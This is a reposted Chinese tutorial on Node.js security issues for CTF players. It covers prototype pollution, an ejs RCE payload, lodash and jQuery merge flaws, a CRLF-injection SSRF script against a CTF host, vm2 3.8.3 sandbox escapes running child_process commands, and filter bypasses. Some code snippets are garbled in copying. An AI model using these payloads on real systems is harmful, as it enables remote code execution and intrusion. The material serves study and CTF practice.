阳婷毅赫 發表於 2020-4-8 14:25:00

Node.js 相关安全问题

<h1 id="通用">通用</h1>
<p>拿到<code>package.json</code>首先<code>npm audit</code>看看依赖库有没有漏洞</p>
<h1 id="原型链污染">原型链污染</h1>
<h2 id="漏洞特征">漏洞特征</h2>
<p>深入理解 JavaScript Prototype 污染攻击<br>
以下内容出自p神的文章</p>
<p>我们思考一下,哪些情况下我们可以设置<code>__proto__</code>的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:</p>
<ul>
<li>对象merge</li>
<li>对象clone(其实内核就是将待操作的对象merge到一个空对象中)<br>
以对象merge为例,我们想象一个简单的merge函数:</li>
</ul>
<pre><code>function merge(target, source) {
    for (let key in source) {
      if (key in source &amp;&amp; key in target) {
            merge(target, source)
      } else {
            target = source
      }
    }
}
</code></pre>
<p>express框架如果<code>use(bodyParser.json())</code>或者<code>use(express.json())</code>,支持通过<code>content-type</code>接收<code>JSON</code>输入,我们改为<code>application/json</code>直接输入json数据。</p>
<h2 id="ejs">ejs</h2>
<p>Express+lodash+ejs: 从原型链污染到RCE<br>
ejs<code>render</code>渲染中有大量代码拼接</p>
<pre><code>if (!this.source) {
this.generateSource();
prepended += 'var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
    prepended += 'var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
    prepended +='with (' + opts.localsName + ' || {}) {' + '\n';
    appended += '}' + '\n';
}
appended += 'return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
</code></pre>
<p>如果能覆盖<code>opts.outputFunctionName</code>,这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE<br>
<code>a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //</code></p>
<p>同理,覆盖<code>escapeFn</code>也可以</p>
<pre><code>if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
</code></pre>
<h2 id="lodash">lodash</h2>
<p>CVE-2019-10744<br>
<code>lodash.defaultsDeep(obj,JSON.parse(objstr));</code><br>
只需要有<code>objstr</code>为</p>
<pre><code>{"content":{"prototype":{"constructor":{"a":"b"}}}}
</code></pre>
<p>在合并时便会在Object上附加a=b这样一个属性</p>
<h2 id="jquery">JQuery</h2>
<p><code>$.extend(deep,clone,copy)</code>会执行一个merge操作,如果<code>copy</code>中有名为<code>__proto__</code>的属性,则会向上影响原型</p>
<h1 id="javascript特性">JavaScript特性</h1>
<h2 id="javascript大小写特性">JavaScript大小写特性</h2>
<p>Node.js 常见漏洞学习与总结</p>
<ul>
<li>字符<code>ı</code>、<code>ſ</code> 经过toUpperCase处理后结果为 <code>I</code>、<code>S</code></li>
<li>字符<code>K</code>经过toLowerCase处理后结果为<code>k</code>(这个K不是K)</li>
</ul>
<h2 id="js弱类型">js弱类型</h2>
<ul>
<li><code>==</code>比较</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align: center">type</th>
<th style="text-align: center">{}</th>
<th style="text-align: center">[]</th>
<th style="text-align: center">0</th>
<th style="text-align: center">1</th>
<th style="text-align: center">""</th>
<th style="text-align: center">true</th>
<th style="text-align: center">false</th>
<th style="text-align: center">undefined</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">{}</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
</tr>
<tr>
<td style="text-align: center">[]</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
</tr>
<tr>
<td style="text-align: center">0</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
</tr>
<tr>
<td style="text-align: center">1</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
</tr>
<tr>
<td style="text-align: center">""</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
</tr>
<tr>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
</tr>
<tr>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
<td style="text-align: center">false</td>
</tr>
<tr>
<td style="text-align: center">undefined</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">false</td>
<td style="text-align: center">true</td>
</tr>
</tbody>
</table>
<ul>
<li><code>+</code>
<ul>
<li>如果两个操作数都是字符串,则将第二个操作数与第一个操作数拼接起来</li>
<li>如果只有一个操作数是字符串,则将另一个操作数转换为字符串,然后再将两个字符串拼接</li>
<li>如果有一个操作数是对象、数值或布尔值,则调用它们的<code>toString()</code>方法取得相应的字符串</li>
<li>对于<code>undefined</code>和<code>null</code>,则分别调用<code>String()</code>函数并取得字符串<code>"undefined"</code>和<code>"null"</code></li>
</ul>
</li>
</ul>
<h2 id="乱七八糟">乱七八糟</h2>
<h3 id="_"></h3>
<p>HackTM中一道Node.js题分析(Draw with us)</p>
<blockquote>
<p>js中的对象只能使用<code>String</code>类型作为键类型,什么别的类型传进去就要做一次<code>toString()</code></p>
</blockquote>
<pre><code>function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i &lt; arr.length; i++) {
    const element = arr;
    if (blacklist.includes(element)) {
      return false;
    }
}
return true;
}
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/1270588/202008/1270588-20200804161810416-1790849443.png" alt="" loading="lazy"></p>
<h3 id="_-1"></h3>
<p><code>sort()</code>方法用原地算法对数组的元素进行排序,并返回数组。默认排序顺序是在将元素转换为字符串,然后比较它们的UTF-16代码单元值序列时构建的</p>
<pre><code>const array1 = ;
array1.sort();
console.log(array1);
// expected output: Array
</code></pre>
<h1 id="多字节编码截断">多字节编码截断</h1>
<p>通过拆分攻击实现的SSRF攻击</p>
<blockquote>
<p>虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节</p>
</blockquote>
<pre><code>&gt; Buffer.from('http://example.com/\u010D\u010A/test', 'latin1').toString()
'http://example.com/\r\n/test'
</code></pre>
<p>例题:Node Game<br>
利用Nodejs 10以下<code>http</code>模块存在的编码问题和crlf注入达到ssrf</p>
<pre><code>import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close

POST /file_upload HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
Connection: close

------WebKitFormBoundaryoirYAr4M13lFjhnC
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

doctype html
html
    head
      title flag
    body
      include ../../../../../../../../flag.txt
------WebKitFormBoundaryoirYAr4M13lFjhnC--



GET / HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c)).zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
</code></pre>
<h1 id="vm沙箱逃逸">vm沙箱逃逸</h1>
<h2 id="buffer-leak">Buffer leak</h2>
<blockquote>
<p>在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。</p>
</blockquote>
<h2 id="vm2v383">vm2v3.8.3</h2>
<p>Breakout in v3.8.3 #225</p>
<pre><code>"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
        TypeError.prototype.get_process = f=&gt;f.constructor("return process")();
        try{
                Object.preventExtensions(Buffer.from("")).a = 1;
        }catch(e){
                return e.get_process(()=&gt;{}).mainModule.require("child_process").execSync("whoami").toString();
        }
}+')()';
try{
        console.log(new VM().run(untrusted));
}catch(x){
        console.log(x);
}
</code></pre>
<p>或者</p>
<pre><code>"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
        try{
                Buffer.from(new Proxy({}, {
                        getOwnPropertyDescriptor(){
                                throw f=&gt;f.constructor("return process")();
                        }
                }));
        }catch(e){
                return e(()=&gt;{}).mainModule.require("child_process").execSync("whoami").toString();
        }
}+')()';
try{
        console.log(new VM().run(untrusted));
}catch(x){
        console.log(x);
}
</code></pre>
<h1 id="bypass">bypass</h1>
<ul>
<li>过滤关键词,可以使用<code>`</code>,例如<code>`${`${`prototyp`}e`}`</code></li>
<li>对象的属性可以用<code>object['attr']</code>,也可以<code>object.attr</code></li>
<li><code>String.fromCharCode()</code>可以将数字和字母转换</li>
</ul>
<h1 id="参考链接">参考链接</h1>
<p>Node.js 常见漏洞学习与总结<br>
i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp<br>
Javascript 原型链污染 分析<br>
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs</p><br><br>
来源:https://www.cnblogs.com/20175211lyz/p/12659738.html
頁: [1]
查看完整版本: Node.js 相关安全问题